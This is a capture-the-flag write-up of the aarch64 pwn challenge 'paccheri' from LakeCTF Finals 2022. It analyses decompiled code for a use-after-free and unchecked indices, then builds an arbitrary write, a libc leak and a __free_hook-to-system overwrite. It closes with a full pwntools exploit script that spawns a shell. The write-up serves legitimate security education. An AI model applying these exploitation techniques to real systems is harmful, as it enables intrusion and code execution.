paccheri

I played LakeCTF Finals 2022 with my team NUS Greyhats (in Switzerland!). We managed to get first blood on both pwn challenges (i hate french and paccheri). This writeup will be for paccheri since i hate french was solved by 9 out of 10 teams.

This challenge was solved the unintended way, which is becoming a usual situation for me.

Running checksec, we get:

[*] '~/ctfs/lakefinals22/paccheri/paccheri'
    Arch:     aarch64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Hmm, interesting to see that we have a aarch64 challenge. Is this is MacOS / IoT / ARM challenge? Emulating this was going to be painful, but luckily the organizers had already thought of this.

There are a few files attached to the challenge, other than the usualy binary + libc. There is the Dockerfile & compose.yml which are usually meant to describe the service configuration. Also a README.md:

# How to not turn crazy (QEMU PTSD anyone?)

1. `docker compose build`
2. `docker compose up`
3. Connect to the challenge with `nc localhost 3700`, ssh into the arm64 VM
   with `ssh root@localhost -p 30022`

Note: The challenge is located in `/app` in the VM. The VM contains exactly the
`paccheri` and `libc.so.6` you're provided with. The only difference is that in
the VM, `/proc/self/maps` is symlinked to `/app/postal_codes` -- we unfortunately
cannot ship symlinks ;)

Very cool, they already have a setup to emulate aarch64 and even managed to give us a ssh shell.

Analysis

undefined8 main(void) {
  char *found;
  size_t section_start;
  ulong section_end;
  char section_name [20000];
  
  long local_8 = __stack_chk_guard;
  setvbuf(stdin,NULL,2,0);
  setvbuf(stdout,NULL,2,0);
  setvbuf(stderr,NULL,2,0);
  urandom_fd = fopen("/dev/urandom","r");
  heap_addr_ref = (ulong *)mmap(NULL,0x1000,3,0x22,0,0);
  mem_p_1 = heap_addr_ref + 1;
  ulong* local_4e38 = heap_addr_ref;
  FILE* postal_codes_fd = fopen("postal_codes","r");
  do {
    __isoc99_fscanf(postal_codes_fd,"%p-%p %2000[^\n]",&section_start,&section_end,section_name);
    if (*heap_addr_ref < section_end) {
      *heap_addr_ref = section_end;
    }
    found = strstr(section_name,"[heap]");
  } while (found == NULL);
  puts("Welcome to the Swiss post office");
  puts("Our famous privacy policies encrypt (and sign!) the destination of every packet");
  puts("How can we help you?");
  main2();
  if (local_8 - __stack_chk_guard == 0) {
    return 0;
  }
                    // WARNING: Subroutine does not return
  __stack_chk_fail(&__stack_chk_guard,0,local_8 - __stack_chk_guard,0);
}

From README.md, there is a symlink between /proc/self/maps and /app/postal_codes. Thus, the above code seems to be reading the memory map entries of the currently running process (given in /proc/self/maps) to parse the max address of the heap section.

Then main2 is called:

void main2(void) {
  while (true) {
    puts("1. Send a package");
    puts("2. Report a lost package");
    puts("3. List outgoing packages");
    puts("4. Set address of outgoing package");
    puts("5. Check if a package is arrived");
    puts("6. Exit");
    puts("7. Get angry because you don\'t have an aarch64 machine available");
    puts("8. Complain because this menu is too long");
    putchar(10);
    int opt = read_int(opt);
    switch(opt) {
      case 1:
        send_package();
        break;
      case 2:
        report_lost_package();
        break;
      case 3:
        list_packages();
        break;
      case 4:
        set_address_package();
        break;
      case 5:
        check_package_arrival();
        break;
      case 6:
        exit(0);
        break;
      case 7:
        useless();
        break;
      case 8:
        useless2();
        break;
      default:
        puts("Vouz parlez franchoise?");
    }
  }
}

useless and useless2 print some text and call exit(0), so I’m leaving this part out. We have 5 legitimate options excluding exit.

send_package

void send_package(void)
{
  if (packages_len < 0x14) {
    package* pkg = (package *)malloc(0x18);
    long idx = (long)packages_len;
    packages_len = packages_len + 1;
    packages[idx] = pkg;
    char* address = (char *)malloc(0x18);
    puts("Please enter your destination address:");
    fgets(address,0x18,stdin);
    pkg->address = address;
    fread(&pkg->urandom_num,1,4,urandom_fd);
    address = (char *)pointer_auth_tech(print_pkg_arrival,pkg->urandom_num);
    pkg->pointer_auth = address;
    pkg->idx = packages_len + -1;
  }
  else puts("Sorry, we are swiss but we can\'t handle so many packages");
}

We can allocate upto 0x14 = 20 packages. I have defined each package as below:

struct package {
  // pointer to 0x18-long malloc'ed char array
  char[0x18]* address;  // 0x00
  int idx;              // 0x08
  int urandom_num       // 0x0C
  void* pointer_auth    // 0x10
} // 0x18 bytes long

The only input is the 0x18-bytes long package address. There is a very weird calculation in pointer_auth_tech:

ulong pointer_auth_tech(void* fnaddr, int num) {
  ulong uVar1 = pacga(fnaddr, num);
  return fnaddr ^ uVar1 & const_FFFF000000000000;
}

where pacga is a ARM64 instruction related to Pointer Authentication Code. Seems like a function pointer is ‘protected’ by pointer authentication using a random seed from /dev/urandom.

The function pointer is initially set to print_pkg_arrival:

int print_pkg_arrival(char* arg) {
  return printf("The package has arrived to: %s!\n",arg);
}

report_lost_package

void report_lost_package(void) {
  puts("Which package did you lose?");
  int idx = read_int(idx);
  // BUG: UaF, also no bounds check
  free(packages[idx]->address);
  if ((idx < 0x12) && (-1 < idx)) {
    free(packages[idx]);
    packages[idx] = NULL;
  }
  else puts("You definitely did not.");
}

We have a Use-After-Free when we provide an index not lesser than 0x12, which frees the package address at that index but does not remove the package from the packages array. This leaves us with a package with dangling reference to freed memory, which we can use (Use-After-Free).

Furthermore, the index can be negative. So we can free the address of a supposed package that is before the packages array.

list_packages

void list_packages(void) {
  puts("---");
  uint state = 0;
  for (int i = 0; i < packages_len; i = i + 1) {
    printf("Address: %s",packages[i]->address);
    printf("id: %d\n",(ulong)(uint)packages[i]->idx);
    void* cb = undo_pacga(packages[i]->pointer_auth, packages[i]->urandom_num);
    printf("callback: %p\n", cb);
    void* pointer = packages[i]->pointer_auth;
    void* pac = pointer_auth_tech(
      (ulong)packages[i]->pointer_auth & ~const_FFFF000000000000,
      packages[i]->urandom_num);
    state = some_crc32_thing(state, pointer ^ pac);
    puts("---");
  }
  printf("Error state: %x\n", state);
}

Here we can see that we have an base address leak since the address of the callback is printed out, which is initially set the print_pkg_arrival. There also seems to be some calculation involving the pointer authentication that I thought involved CRC32 calculations due to the use of 0xedb88320.

uint some_crc32_thing(uint prev_state, ulong arg) {
  uint n = ~prev_state;
  for (uint i = 0; (int)i < 8; i = i + 1) {
    n = n ^ (uint)((long)((long)(0xff << (ulong)((i & 3) << 3)) & arg) >>
                  ((ulong)(i << 3) & 0x3f));
    for (uint b = 7; -1 < b; b = b + -1) {
      n = n >> 1 ^ -(n & 1) & 0xedb88320;
    }
  }
  return ~n;
}

set_address_package

void set_address_package(void) {
  puts("Which package do you want to edit?");
  // BUG: no bounds check
  int idx = read_int(idx);
  puts("Please enter the new address:");
  if (*heap_addr_ref < packages[idx]->address) {
    puts("This address is not in Switzerland!");
    exit(0);
  }
  int read = fread(packages[idx]->address,1,0x18,stdin);
  printf("read %d bytes\n", read);
  printf("New address: %s\n",packages[idx]->address);
  void* cb = undo_pacga(packages[idx]->pointer_auth, packages[idx]->urandom_num);
  printf("New callback: %p\n", cb);
}

This function from the lack of bounds check as well. Interestingly enough, it prints the callback even though it was never changed (this is for the intended solution).

check_package_arrival

void check_package_arrival(void) {
  puts("Which package do you want to check?");
  int idx = read_int();
  void* cb = undo_pacga(packages[idx]->pointer_auth, packages[idx]->urandom_num);
  (cb)(packages[idx]->address);
}

This method calls the callback that was set with the address of the package as the argument. Again, same lack of bounds check applies here. Sadly, undo_pacga returns a address only if it was protected by pointer authentication, or it returns 0 (which causes segfault when executed).

ulong undo_pacga(void* pointer, ulong urandom_num) {
  ulong ret = pointer ^ pointer & const_FFFF000000000000;
  ulong check = pacga(ret, urandom_num);
  if ((check & const_FFFF000000000000) != (pointer & const_FFFF000000000000)) {
    ret = 0;
  }
  return ret;
}

Exploitation

We have 3 out-of-bounds vuln which treat parts of the .data as a package*, and one UaF.

Initially, I was trying to use the UaF to corrupt a package and write my own function pointer there to get it executed (after bypassing PAC). I believe this to be the intended solution by the author.

However, while trying to do this, I realized that there was a easier way to approach the problem.

Arbitrary Write

In every binary compiled by GCC, there exists an address in the .data section that points to itself. That is, the value at the address is the address itself.

This also happens to be before the packages array:

If we provide (0x113008-0x113040) / sizeof(package*) as the index to set_address_package, it will treat this self-loop address as a package*. It will get the address pointer, which is at package->address = package[0] as the address is the first element of package. This, of course, is the self-loop address again. Then, we can write 0x18 bytes to this address. Note that there is a *heap_addr_ref < package[i]->address check, which does not get triggered since the heap is after the base of the program.

This allows us to gain control over some memory in the .data section. However, just this is enough to get an arbitrary write primitive! We can setup our write to do the following (right side is the ’effect’):

Now if we treat (0x113010-0x113040) / sizeof(package*) (the pointer after the self-loop) as a package*, it’s set up as below:

Since we are writing to address, we now have arbitrary write using set_address_package when targetting this index. Furthermore, since the self-loop still points to itself afterwards, we can use this arbwrite as many times as we want.

Libc Leak

There is no fancy win function in the binary itself, so we must leak a libc address to get us going.

Since we have arbitrary write and know the base address, we can overwrite packages[0..3] to a forged package, whose address is pointing to an address we want to leak e.g. printf.got. Running list_packages will then leak out the bytes we want.

Getting command execution

With a libc address and base address known, one would normally overwrite the GOT section to gain command execution, but here it’s protected by full RELRO and is not writable.

We can try to overwrite __free_hook instead but we are blocked by the *heap_addr_ref check. But of course, since we have arb write, we can just overwrite this as well. Our aim will be to get free called in report_lost, and we provide the index of a package with address set to /bin/sh to get system("/bin/sh") executed.

Final Script

The overwriting of heap_addr_ref is combined with creation of a forged package, but the rest are as above.

from pwn import *

#p = remote("localhost", "3700")
p = remote("chall.polygl0ts.ch", 3700)

def send_package(address):
    p.sendlineafter("menu is too long", "1")
    p.sendlineafter("address:", address)

def report_lost(idx):
    p.sendlineafter("menu is too long", "2")
    p.sendlineafter("lose?", str(idx))

def list_packages():
    p.sendlineafter("menu is too long", "3")
    pkgs = []
    while True:
        if b"Error" in p.recvuntil(("Error", "Address")):
            p.recvuntil(": ")
            error_state = int(p.recvline()[:-1], 16)
            break
        p.recvuntil(": ")
        address = p.recvuntil("id: ", drop=True)
        id = p.recvline()[:-1]
        p.recvuntil("callback: ")
        cb = p.recvline()[:-1]
        if cb == b'(nil)':
            cb = 0
        else:
            cb = int(cb, 16)
        p.recvuntil("---")
        pkgs.append((address, id, cb))
    return pkgs, error_state

def set_address(idx, address):
    p.sendlineafter("menu is too long", "4")
    p.sendlineafter("edit?", str(idx))
    p.sendafter("address:", address)

send_package(str(0))
pkgs, _ = list_packages()
base = pkgs[0][2] - 0xedc
info(f"{ hex(base) = }")

# just create some packages
for i in range(1, 7):
    send_package(b"/bin/sh\x00")

def arbwrite(where, what):
    set_address(-(0x113048 - 0x113008)//8, p64(base + 0x13008) + p64(base + 0x13018) + p64(where))
    set_address(-(0x113048 - 0x113010)//8,  what)

libc = ELF("./libc.so.6")

# Overwrite heap_addr_ref to point to base+0x13030, which contains 0xfffff....
# Also put the address of printf.got here so that we can use it as a forged package.
arbwrite(base + 0x13028, p64(base + 0x13030) + p64(0xffffffffffffffff) + p64(base + 0x12f78)) # printf.got @ +0x13038
# Write the address of the forged package as the packages of the first 3 elements in the packages array
arbwrite(base + 0x13048, p64(base + 0x13038) * 3)

# Leak out libc
pkgs, _ = list_packages()
leak = u64(pkgs[0][0].ljust(8, b'\0'))
info(f"{ hex(leak) =  }")
libc.address =  leak - libc.symbols.printf
success(f"{hex(libc.address) = }")

arbwrite(libc.symbols.__free_hook, p64(libc.symbols.system)*3)
report_lost(4) # calls free(package[4]->address), so system("/bin/sh") after the __free_hook overwrite


p.interactive()